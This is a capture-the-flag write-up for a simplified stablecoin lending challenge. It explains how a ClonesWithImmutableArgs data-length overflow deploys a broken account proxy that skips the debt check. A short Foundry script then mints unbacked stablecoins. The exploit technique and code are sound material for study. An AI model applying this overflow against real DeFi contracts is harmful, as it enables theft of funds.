Desription
MakerDAO is such a complex codebase, and we all know that larger codebases are more likely to have bugs. I simplified everything, so there shouldn’t be any bugs here
Code
Account.sol
:
- deposit():
- withdraw():
- increaseDebt():
- decreaseDebt():
- isHealthy():
- recoverAccount():
AccountManager.sol
- onlyValidAccount()
- migrateAccount()
- _openAccount()
- mintStablecoins()
- burnStablecoins()
Challenge.sol
StableCoin.sol
:
- Just ERC20 Token from system_configuration
SystemConfiguration.sol
Goal
Mint StableCoin more than 1_000_000_000_000 ether;
Solution
If we want to mint we need to call AccountManager.sol::mintStablecoins()
:
function mintStablecoins(Account account, uint256 amount, string calldata memo)
external
onlyValidAccount(account)
{
account.increaseDebt(msg.sender, amount, memo);
Stablecoin(SYSTEM_CONFIGURATION.getStablecoin()).mint(msg.sender, amount);
}
But we do not have enough collateral to mint, so we need find a way to bypass increaseDebt
.
AccountManager
uses ClonesWithImmutableArgs
to create new accounts. When interacting with the Account, the immutable arguments will be read from calldata, saving gas costs. But there's a comment in the ClonesWithImmutableArgs
:
/// @dev data cannot exceed 65535 bytes, since 2 bytes are used to store the data length
Since the immutable arguments are stored in the code region of the created proxy contract, the code size will be calculated based on the data length during the deployment. However, the code size that should be returned is also stored in 2 bytes. Therefore, if runSize exceeds 65535 bytes, a broken contract may be deployed.
Then we can bypass the increaseDebt
So when we create an account with the recoverAddresses parameter as an array of length 2044, the increaseDebt() function implementation will be skipped, and we can call mintStablecoins() without any restriction.
Exp
uint256 AttackerPK = 0x12345;
address attacker = vm.addr(AttackerPK);
address challengeAddress = address(challenge);
challenge = Challenge(challengeAddress);
SystemConfiguration systemConfiguration = SystemConfiguration(challenge.SYSTEM_CONFIGURATION());
AccountManager accountManager = AccountManager(systemConfiguration.getAccountManager());
address[] memory recoverAddresses = new address[](2044);
Acct account = accountManager.openAccount(attacker, recoverAddresses);
accountManager.mintStablecoins(account, 1_000_000_000_000 ether + 1, "hack");
console.log("isSolved:", challenge.isSolved());